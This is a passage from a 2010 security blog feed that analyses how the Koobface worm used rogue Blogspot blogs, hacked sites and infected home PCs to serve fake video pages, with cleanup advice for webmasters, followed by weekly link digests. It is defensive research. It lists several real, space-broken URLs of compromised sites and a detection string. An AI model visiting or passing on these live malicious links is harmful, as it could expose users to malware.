<p>Checking the blacklisted blogs that still exist, I found the earliest dates they have (the dates of blogposts) are in the second half of November 2009 and the most recent are in this February. Maybe it&#8217;s just a coincidence, but this period almost exactly matches the sharp increase in number of reported malicious URLs on Google&#8217;s network (blogspot.com blogs are a part of that network).</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><a href="http://stopbadware.org/reports/asn/15169" target="_blank"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2010/02/reported-urls-on-google-network.gif" border="0" alt="Reported URLs on Google network" /></a><br />
<span style="font-size: 0.8em;">StopBadware report: <a href="http://stopbadware.org/reports/asn/15169" target="_blank">Number of Reported URLs on AS 15169 &#8211; GOOGLE &#8211; Google Inc.</a></span></div>
<p>If it&#8217;s not a coincidence, then Koobface is responsible for about 80% of reported malicious URLs on Google&#8217;s network.</p>
<p>(<em>Thinking aloud: November dates may have something to do with the fact that Safe Browsing data is limited to the last 90 days, so I just can&#8217;t see rogue blogs that had been blacklisted before November. On the other hand, Google&#8217;s malware scanners revisit infected sites once in a while and update their status, so I still expect to see some records for sites that had been first blacklisted before the last November. If they exist.</em>)</p>
<p>Some of the blogs I checked have already been shut down. I wonder why Blogger doesn&#8217;t shut down them all if they can easily obtain a list of the rogue blogs from Google&#8217;s own Safe Browsing database. (I could manually retrieve <a href="http://blog.unmaskparasites.com/wp-content/uploads/2010/02/rogue_blogs.txt" target="_blank">more than 300 unique Koobface blogs</a> using only Safe Browsing diagnostic pages that provide very limited and incomplete information). These blogs are not infected legitimate blogs &#8211; they are 100% malicious and created by non-existing users. And they can be easily distinguished from any other legitimate blogs (even by a pretty simple automated scanner). Blogger, you can safely delete all those blogs and users! Why wait?</p>
<h3>Hacked legitimate sites</h3>
<p>Now let&#8217;s talk about the compromised legitimated sites that work as intermediaries in this attack.</p>
<p>Hackers create a new directory where they place their files. The malicious URL have the following structure:  http://www.hacked-site.com/rogue_dir/?go</p>
<p>Here are some real examples (be careful):</p>
<p><code>www .uniquecreationbabies .co.za/supervids/?go<br />
www .piratedb .net/index.htm/?go<br />
ritmotours .com .tr/main/?go<br />
www .sfighters .yoyo .pl/freevideo/?go</code></p>
<p>If you specify a URL without the <span style="color: #993300;">?go</span> part you will see a page that contains a blurry thumbnail of a video page and a Flash file that redirects visitors to the <span style="color: #993300;">?go</span> page (thanks  <a href="http://www.sophos.com/blogs/sophoslabs/v/post/1543#pob">Pob</a>)</p>
<p>The <span style="color: #993300;">?go</span> page consists only of one moderately obfuscated script:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2010/02/kroteg-script.jpg" border="0" alt="KROTEG script" /></div>
<p>The first thing you see is two lists at the very top of the script. The first is a list of expected referrers:</p>
<ul>
<li>facebook.com</li>
<li>tagged.com</li>
<li>friendster.com</li>
<li>myspace.com</li>
<li>msplinks.com</li>
<li>lnk.ms</li>
<li>myyearbook.com</li>
<li>fubar.com</li>
<li>twitter.com</li>
<li>hi5.com</li>
<li>bebo.com</li>
</ul>
<p>No comments required. These are the primary places of Koobface distribution.</p>
<h3>Infected PCs</h3>
<p>The second list contain 20 IP addresses. This list is different on every hacked site. When I checked the IPs with <a href="http://whois.domaintools.com/">DomainTools</a> I discovered that they all belonged to different cable and broadband Internet service providers. In other words, they are IPs of regular home and office PCs.</p>
<p>This list is used to create 20 external scripts and load them on the fly. If a rogue web server on an infected computer is working at that moment it should respond with a URL of a fake video page that it hosts. Then, using a timer, the intermediary site checks when that URL is available and redirects people there.</p>
<h4>Quick Q&amp;A</h4>
<p><strong>Q</strong>: Why use infected PSc as malicious web servers?<br />
<strong>A</strong>: Why not? They control thousands of infected zombie PCs that are powerful enough, have a decent Internet connection and many of them have static IPs.</p>
<p><strong>Q</strong>: Why 20 IPs?<br />
<strong>A</strong>: Remember that home PCs are not always turned on and connected to the Internet. Moreover, the malware can be removed from infected computers any time. So hackers try to connect to 20 different infected PCs at the same time to increase chances that at least one of them is ready to serve the fake video page.</p>
<p><strong>Q</strong>: What happens if web servers on more than one IP will be available at the same time? Will people see more than one fake video page?<br />
<strong>A</strong>: No. The intermediary sites wait for any redirect URL to be available. When they detect that some of the loaded (from infected PCs) scripts provided such a URL, visitors get redirected. All subsequent redirect URLs are simply discarded.</p>
<h3>To webmasters</h3>
<p>This post contains some important information for webmaster and I want to sum up it here.</p>
<h4>Keep your PC clean</h4>
<p>If you don&#8217;t want your sites to be hacked, you should keep your PCs clean from malware.</p>
<p>Per TrendMicro, among other bad things, Koobface installs a variant of the LDPinch trojan that steals email, IM and FTP credentials. Here is the list of the targeted FTP clients <a href="http://us.trendmicro.com/imperia/md/content/us/trendwatch/researchandanalysis/the_real_face_of_koobface_jul2009.pdf">TrendMicro provides</a> (PDF) in their Koobface review (compare it with the <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">list I published</a> here a few months ago):</p>
<ul>
<li>Total Commander</li>
<li>cuteFTP</li>
<li>Ipswitch</li>
<li>SmartFTP</li>
<li>Coffeecup Software</li>
<li>FTP commander (Pro, Deluxe)</li>
<li>FlashFXP</li>
<li>FileZilla</li>
</ul>
<p>So get a decent antivirus program and a Firewall that will block unauthorized network activity (e.g. trojans sending your FTP credentials to bad guys).</p>
<p>Try not to save passwords in FTP clients (especially in those listed above) if they don&#8217;t provide master key encryption.</p>
<p>If your hosting plan includes SFTP (or FTPS), switch to the secure protocol immediately and forget about FTP that sends everything (including your passwords) in plain text. Most popular FTP clients support secure protocols so this switch will be painless.</p>
<p>Although Koobface doesn&#8217;t use browser/plugin vulnerabilities, I still insist that you keep your whole system (OS, web browser, Java, Flash, Adobe Reader, etc.) up-to-date. There are many other web threats that exploit vulnerabilities of (even slightly) outdated software.</p>
<p>I recommend that you use Firefox with the <a href="http://noscript.net/">NoScript</a> extension. This plugin allows to execute only trusted scripts and active content, which makes web surfing more secure. As I showed above, Koobface actively uses JavaScript on both intermediary and fake video pages. With NoScript, you would hardly reach the pages that actually serve malicious files. Unfortunately, this extension is only available for Firefox at this time. If you know any alternatives, please leave a comment.</p>
<h4>If your site is hacked&#8230;</h4>
<p>If you were unlucky your site could have been hacked. Here is what you can do to detect this.</p>
<ol>
<li>Scan your server for new suspicious files and directories.</li>
<li>Search for suspicious <strong>.swf</strong> files (especially if you don&#8217;t use Flash). In the rogue directories, hackers place a Flash file with a name like &#8220;<span style="color: #993300;">n0ld7q.swf</span>&#8220;</li>
<li>Search for files that contain this string: <strong>KROTEG</strong>. I see it at the top of the main script on every compromised (by Koobface) site.</li>
</ol>
<h3>Google&#8217;s malware warnings</h3>
<p>If your site is blacklisted by Google and you don&#8217;t know why (you can&#8217;t find anything wrong in your web pages), check the Safe Browsing diagnostic page ( http://www.google.com/safebrowsing/diagnostic?site=<em>your-site-domain.com</em> ). If this page mention several blogspot blogs that your site have infected (<a href="http://www.google.com/safebrowsing/diagnostic?site=www.uniquecreationbabies.co.za" target="_blank">example</a>), the chances are your site is exploited by Koobface and you should search for a rogue directory on your server.</p>
<p>When you identify and remove the cause of the problem, don&#8217;t forget to <a href="http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=45432">request a malware review</a> via <a href="http://www.google.com/webmasters/tools/">Google Webmaster Tools</a> to have your site removed from the blacklist.</p>
<p>To learn more about Google&#8217;s malware warnings and how to deal with them, you might want to read my <a href="http://www.unmaskparasites.com/malware-warning-guide/">practical guide</a>.</p>
<h3>Summary</h3>
<p>This was the first time I worked with Koobface. It&#8217;s such a complex multi-tier heterogeneous malware attack so I don&#8217;t expect that I managed to cover everything correctly at the first try. Even the visible (web) part of the Koobface iceberg is very impressive:</p>
<ul>
<li>Social Networks</li>
<li>Search Engines</li>
<li>Rogue blogs</li>
<li>Hacked legitimate sites</li>
<li>Web servers on infected PCs</li>
<li>Scareware and other &#8220;grey/black&#8221; affiliate sites.</li>
<li>and I don&#8217;t mention here exploit files hosted on image-sharing sites as .JPG files (per TrendMicro)</li>
</ul>
<p>And the hidden part (malware on infected PCs and botnet coordination) that I don&#8217;t even try to research myself is monstrous (Check this <a href="http://blog.trendmicro.com/the-real-face-of-koobface/">visualization</a> and <a href="http://us.trendmicro.com/imperia/md/content/us/trendwatch/researchandanalysis/the_real_face_of_koobface_jul2009.pdf">explanation (PDF)</a> by TrendMicro).</p>
<h3>Have your say</h3>
<p>So if you find any mistakes in this post or want to share some missing details, please leave your comment here.</p>
<p>I would also be interested in hearing from webmasters of the hacked exploited used by Koobface. I&#8217;d like to take a look at file they upload (I still don&#8217;t know if they use server-side scripts or just add some .htaccess logic for different types of requests).</p>
<p>Thanks for reading.</p>
<p><strong><span style="color: #888888;">Related posts:</span></strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">10 FTP Clients Malware Steals Credentials From</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/09/17/quicksilver-malware-network/">Quicksilver  Malware Network</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/26/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-1/">Rogue blogs redirect search traffic to bogus AV sites. Part 1.</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/">Rogue blogs redirect search traffic to bogus AV sites. Part 2.</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=IzDq1Ac03cs:Phucv8ccrnk:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=IzDq1Ac03cs:Phucv8ccrnk:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=IzDq1Ac03cs:Phucv8ccrnk:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/02/27/web-of-koobface/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Tweet Week: Feb 15-21, 2010</title>
		<link>http://blog.unmaskparasites.com/2010/02/21/tweet-week-feb-15-21-2010/</link>
		<comments>http://blog.unmaskparasites.com/2010/02/21/tweet-week-feb-15-21-2010/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 20:53:52 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[gumblar]]></category>
		<category><![CDATA[Servage]]></category>
		<category><![CDATA[SoftLayer]]></category>
		<category><![CDATA[StopBadware]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=548</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

Feb 15, 2010
WeWatchYourWebs  explains the recent attack &#8211; stolen FTP credentials and eval(base64_decode
RT @wordpress: WordPress 2.9.2 has been released,  addressing a security concern w/trash.
Feb 17, 2010
Updated my list of  Gumblar zombies &#8211; 500 items at  this [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-548"></span></p>
<p><span style="color: #888888;"><strong>Feb 15, 2010</strong></span></p>
<p style="padding-left: 30px;">WeWatchYourWebs  <a href="http://www.google.com/support/forum/p/Webmasters/thread?tid=6f4cf473c414de1f&amp;hl=en#fid_6f4cf473c414de1f00047f2ec41558cc">explains the recent attack</a> &#8211; stolen FTP credentials and <strong>eval(base64_decode</strong></p>
<p style="padding-left: 30px;">RT @<a rel="nofollow" href="http://twitter.com/wordpress">wordpress</a>: <a href="http://wordpress.org/development/2010/02/wordpress-2-9-2/">WordPress 2.9.2 has been released</a>,  addressing a security concern w/trash.</p>
<p><span style="color: #888888;"><strong>Feb 17, 2010</strong></span></p>
<p style="padding-left: 30px;">Updated my <a href="http://blog.unmaskparasites.com/2009/12/18/list-of-gumblar-zombie-urls/">list of  Gumblar zombies</a> &#8211; 500 items at  this point and the attack is still active</p>
<p><span style="color: #888888;"><strong>Feb 20, 2010</strong></span></p>
<p style="padding-left: 30px;">[ocaoimh.ie] <a href="http://ocaoimh.ie/exploit-scanner-095/">New  version of WordPress Exploit Scanner</a> plugin<a rel="nofollow" href="http://bit.ly/aYVI6M" target="_blank"></a></p>
<p style="padding-left: 30px;"><a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/#comment-6777">Comment</a> from a  Servage user who had <a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/">rogue blogs</a> <a rel="nofollow" href="http://bit.ly/6wH2Mt" target="_blank"></a>created under his account</p>
<p style="padding-left: 30px;">RT @<a rel="nofollow" href="http://twitter.com/stopbadware">stopbadware</a>: <a href="http://blog.stopbadware.org/2010/02/18/new-ip-address-reports">New data reporting tools</a> on  StopBadware.org</p>
<p style="padding-left: 30px;"><a href="http://stopbadware.org/reports/ip">Top 50 IPs that  host reported malicious URLs</a> &#8211; SoftLayer network hosts the leader. Google hosts #2 .</p>
<p style="padding-left: 30px;"><a href="http://stopbadware.org/reports/asn">Top 50 networks by  number of reported malicious URLs</a>.  Leaders: SoftLayer, ThePlanet &amp; ChineNet-Backbone</p>
<p><span style="color: #888888;"><strong>Feb 21, 2010</strong></span></p>
<p style="padding-left: 30px;">[krebsonsecurity.com]  <a href="http://www.krebsonsecurity.com/2010/02/zeus-a-virus-known-as-botnet/">what happens when security news make it to major media</a> &#8211; take them with a grain of  salt</p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=fOk_bbAKw6U:7Dms9gZGo-A:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=fOk_bbAKw6U:7Dms9gZGo-A:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=fOk_bbAKw6U:7Dms9gZGo-A:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/02/21/tweet-week-feb-15-21-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tweet Week: Feb 8-14, 2010</title>
		<link>http://blog.unmaskparasites.com/2010/02/15/tweet-week-feb-8-14-2010/</link>
		<comments>http://blog.unmaskparasites.com/2010/02/15/tweet-week-feb-8-14-2010/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 15:35:30 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[cPanel]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[phpMyAdmin]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=543</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

Feb 8, 2010
Investigating an  attack that seems to be exploiting vulnerability of phpMyAdmin.  Make  sure your phpMyAdmin is up-to-date.
[h-online]  Tomorrow Microsoft releases fixes to 26 sec. vulnerabilities.  Some known vulnerabilities will  stay unpatched
Feb 10, 2010
The [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-543"></span></p>
<p><span style="color: #888888;"><strong>Feb 8, 2010</strong></span></p>
<p style="padding-left: 30px;">Investigating an  attack that seems to be exploiting vulnerability of phpMyAdmin.  Make  sure your phpMyAdmin is up-to-date.</p>
<p style="padding-left: 30px;">[h-online]  Tomorrow <a href="http://www.h-online.com/security/news/item/Microsoft-to-fix-26-vulnerabilities-on-patch-day-923011.html">Microsoft releases fixes to 26 sec. vulnerabilities</a>.  Some known vulnerabilities will  stay unpatched</p>
<p><span style="color: #888888;"><strong>Feb 10, 2010</strong></span></p>
<p style="padding-left: 30px;">The ex-&#8221;GNU-GPL&#8221;  script constantly mutates. You can learn a lot about JS following the  changes ;-)</p>
<p><span style="color: #888888;"><strong>Feb 11, 2010</strong></span></p>
<p style="padding-left: 30px;">﻿[thecpaneladmin.com] <a href="http://www.thecpaneladmin.com/securing-ftp-access-on-cpanel-server/"> Securing FTP Access on a cPanel Server</a></p>
<p><span style="color: #888888;"><strong>Feb 12, 2010</strong></span></p>
<p style="padding-left: 30px;">[h-online] <a href="http://www.h-online.com/security/news/item/Spy-versus-spy-926839.html">SpyEye  botnet toolkit</a> &#8211; bots grab web  froms, email and FTP traffic</p>
<p style="padding-left: 30px;">RT @<a href="http://twitter.com/briankrebs">briankrebs</a>:  <a href="http://www.krebsonsecurity.com/2010/02/critical-security-update-for-adobe-flash-player/">Critical Security Update for Adobe Flash Player</a>. Also, another Adobe  Reader patch coming</p>
<p style="padding-left: 30px;">RT @<a href="http://twitter.com/kdawson">kdawson</a>:  Breaking: <a href="https://patrickwbarnes.com/blog/2010/02/microsoft-update-kb977165-triggering-widespread-bsod/">BSoD after Windows security update happens only on machines  with pre-existing rootkit infection</a>.  (<span style="color: #888888;"><em>Comments are also worth reading</em></span>)</p>
<p style="padding-left: 30px;">[minor update] <a href="http://www.UnmaskParasites.com"> Unmask Parasites v0.5.197</a> &#8211; added more malware detection rules</p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=_BVySWgnNsM:qfi1ymtjnM8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=_BVySWgnNsM:qfi1ymtjnM8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=_BVySWgnNsM:qfi1ymtjnM8:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/02/15/tweet-week-feb-8-14-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tweet Week: Feb 1-7, 2010</title>
		<link>http://blog.unmaskparasites.com/2010/02/07/tweet-week-feb-1-7-2010/</link>
		<comments>http://blog.unmaskparasites.com/2010/02/07/tweet-week-feb-1-7-2010/#comments</comments>
		<pubDate>Sun, 07 Feb 2010 20:47:03 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=539</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

Feb 1, 2010
New revision of  the ex-&#8221;GNU GPL&#8221; malicious script.
Feb 3, 2010
Answers to  Google&#8217;s webmaster quiz
RT @gcluley:  The world’s top 10 dirtiest web-hosting countries revealed
Feb 4, 2010
﻿Seems like a new  attack against PHP sites &#8211; it [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-539"></span></p>
<p><span style="color: #888888;"><strong>Feb 1, 2010</strong></span></p>
<p style="padding-left: 30px;"><a href="http://blog.unmaskparasites.com/2009/12/23/from-hidden-iframes-to-obfuscated-scripts/comment-page-1/#comment-6699">New revision</a> of  the ex-&#8221;GNU GPL&#8221; malicious script.</p>
<p><span style="color: #888888;"><strong>Feb 3, 2010</strong></span></p>
<p style="padding-left: 30px;"><a href="http://googlewebmastercentral.blogspot.com/2010/02/how-did-you-do-on-webmaster-quiz.html">Answers</a> to  Google&#8217;s webmaster quiz</p>
<p style="padding-left: 30px;">RT @<a href="http://twitter.com/gcluley">gcluley</a>:  The world’s <a href="http://www.sophos.com/blogs/gc/g/2010/02/03/worlds-top-10-dirtiest-webhosting-countries/">top 10 dirtiest web-hosting countries</a> revealed</p>
<p><span style="color: #888888;"><strong>Feb 4, 2010</strong></span></p>
<p style="padding-left: 30px;">﻿Seems like a <a href="http://www.google.com/support/forum/p/Webmasters/thread?tid=6f4cf473c414de1f&amp;hl=en">new  attack against PHP sites</a> &#8211; it uses  &#8220;iss9w8s89xx .org&#8221; and &#8220;ssdfsdfwefwefwe .com&#8221;</p>
<p style="padding-left: 30px;">﻿﻿[slashdot] <a href="http://search.slashdot.org/story/10/02/04/1314221/Image-Searchers-Snared-By-Malware"> Image  Searchers Snared By Malware</a> &#8211; malicious redirects for Image search results (Google &amp; Yahoo).<a href="http://stopbadware.org/home/security"></a> (<span style="color: #888888;"><em>Attack description similar to the ones I post here. It includes my comments.</em></span>)</p>
<p style="padding-left: 30px;">Another insightful  <a href="http://search.slashdot.org/comments.pl?sid=1537058&amp;cid=31023700">story about .htaccess hack</a> in slashdot comments.  &#8211; media cloaking?</p>
<p style="padding-left: 30px;">[h-online]  Microsoft confirms <a href="http://www.h-online.com/security/news/item/Microsoft-confirms-new-vulnerability-in-Internet-Explorer-922111.html">new vulnerability in Internet Explorer</a> &#8211; IE5-IE8 are reportedly  affected</p>
<p><span style="color: #888888;"><strong>Feb 7, 2010</strong></span></p>
<p style="padding-left: 30px;">[mozilla] <a href="http://blog.mozilla.com/addons/2010/02/04/please-read-security-issue-on-amo/"> malicious Firefox add-ons</a>: Sothink Web Video Downloader and Master Filer</p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=WHQVWNQQlr0:Ap8QF0d6n4I:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=WHQVWNQQlr0:Ap8QF0d6n4I:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=WHQVWNQQlr0:Ap8QF0d6n4I:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/02/07/tweet-week-feb-1-7-2010/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Tweet Week: Jan 25-31, 2010</title>
		<link>http://blog.unmaskparasites.com/2010/01/31/tweet-week-jan-25-31-2010/</link>
		<comments>http://blog.unmaskparasites.com/2010/01/31/tweet-week-jan-25-31-2010/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 08:58:35 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[bety.php]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[ransomware]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=536</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

Jan 26, 2010
RT @gcluley:  RT @mikkohypponen: Some notes  about using Twitter as a tool for people interested in computer  security.
New revision of  the &#8220;GNU GPL&#8221; malicious script &#8211; now without comments and with less obfuscation. (Jan [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-536"></span></p>
<p><span style="color: #888888;"><strong>Jan 26, 2010</strong></span></p>
<p style="padding-left: 30px;">RT @<a href="http://twitter.com/gcluley">gcluley</a>:  RT @<a href="http://twitter.com/mikkohypponen">mikkohypponen</a>: Some <a href="http://www.f-secure.com/weblog/archives/00001866.html">notes  about using Twitter</a> as a tool for people interested in computer  security.</p>
<p style="padding-left: 30px;"><a href="http://blog.unmaskparasites.com/2009/12/23/from-hidden-iframes-to-obfuscated-scripts/#comment-6669">New revision</a> of  the &#8220;GNU GPL&#8221; malicious script &#8211; now without comments and with less obfuscation. (<span style="color: #888888;"><em>Jan 29, plus <a href="http://blog.unmaskparasites.com/2009/12/23/from-hidden-iframes-to-obfuscated-scripts/#comment-6683">more recent revision</a></em></span>)</p>
<p><span style="color: #888888;"><strong>Jan 27, 2010</strong></span></p>
<p style="padding-left: 30px;">[h-online]  <a href="http://www.h-online.com/security/news/item/Scareware-becomes-ransomware-again-913966.html">Scareware becomes ransomware again</a> &#8211; encrypted files, unbootable Windows, malicious IQ tests</p>
<p style="padding-left: 30px;">Another bunch of  hacked sites poison search results for Haiti disaster keywords (using  the <a href="http://blog.unmaskparasites.com/2010/01/26/bety-php-hack-part-2-black-hats-in-action/">bety-like hack</a>)</p>
<p style="padding-left: 30px;">RT @<a href="http://twitter.com/briankrebs">briankrebs</a> A peek inside one of the more popular browser exploit kits. <a href="http://www.krebsonsecurity.com/2010/01/a-peek-inside-the-eleonore-browser-exploit-kit/">the stats  might surprise you</a>.</p>
<p><span style="color: #888888;"><strong>Jan 28, 2010</strong></span></p>
<p style="padding-left: 30px;">[sophos]  Troj/JSRedir-AK <a href="http://www.sophos.com/blogs/sophoslabs/v/post/8411">morphs into Troj/JSRedir-AR</a></p>
<p style="padding-left: 30px;">[stopbadware.org] <a href="http://stopbadware.org/home/security"> Tips for Cleaning &amp; Securing Your Website</a><a href="http://blogs.technet.com/msrc/archive/2010/01/21/bulletin-ms10-002-released.aspx"></a></p>
<p style="padding-left: 30px;"><a href="http://www.heartinternet.co.uk/newsletter/2010/ftplock/">FTP Lock</a> &#8211; hosting providers come up  with solutions that can minimize threats from stolen FTP credentials</p>
<p><span style="color: #888888;"><strong>Jan 29, 2010</strong></span></p>
<p style="padding-left: 30px;">[google] <a href="http://googlewebmastercentral.blogspot.com/2010/01/request-visitors-permission-before.html">Request  visitors&#8217; permission before installing software</a> if you don&#8217;t want your site to  be labeled as malicious</p>
<p><span style="color: #888888;"><strong>Jan 30, 2010</strong></span></p>
<p style="padding-left: 30px;">[minor update] <a href="http://www.UnmaskParasites.com/"> Unmask Parasites v0.5.196</a> &#8211; should work slightly faster.</p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=0LzKpYRjO_Y:SEA7QgRxt78:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=0LzKpYRjO_Y:SEA7QgRxt78:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=0LzKpYRjO_Y:SEA7QgRxt78:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/01/31/tweet-week-jan-25-31-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bety.php Hack. Part 2.  Black Hats in Action.</title>
		<link>http://blog.unmaskparasites.com/2010/01/26/bety-php-hack-part-2-black-hats-in-action/</link>
		<comments>http://blog.unmaskparasites.com/2010/01/26/bety-php-hack-part-2-black-hats-in-action/#comments</comments>
		<pubDate>Tue, 26 Jan 2010 19:39:54 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[bety.php]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[Googlebot]]></category>
		<category><![CDATA[osCommerce]]></category>
		<category><![CDATA[redirects]]></category>
		<category><![CDATA[statistics]]></category>
		<category><![CDATA[Webmaster Tools]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=528</guid>
		<description><![CDATA[This is the second article about the hacker attack against osCommerce-powered sites. In the first part, you can find the description of the attack along with detection and clean-up instructions. Now I want to show you what exactly hackers did and how they managed to poison Google search results.
The main goal is to demystify hackers [...]]]></description>
			<content:encoded><![CDATA[<p>This is the second article about the hacker attack against osCommerce-powered sites. In <a href="http://blog.unmaskparasites.com/2010/01/18/bety-php-oscommerce-hack-part-1/">the first part</a>, you can find the description of the attack along with detection and clean-up instructions. Now I want to show you what exactly hackers did and how they managed to poison Google search results.</p>
<p>The main goal is to demystify hackers and encourage webmasters to explore their own sites. The more you know about hackers, the better you&#8217;ll be at protecting your site against their attacks.</p>
<p>This post is based on the files and access logs of three compromised sites that I received from a webmaster who contacted me a couple of weeks ago.</p>
<h3>Quick facts</h3>
<ol>
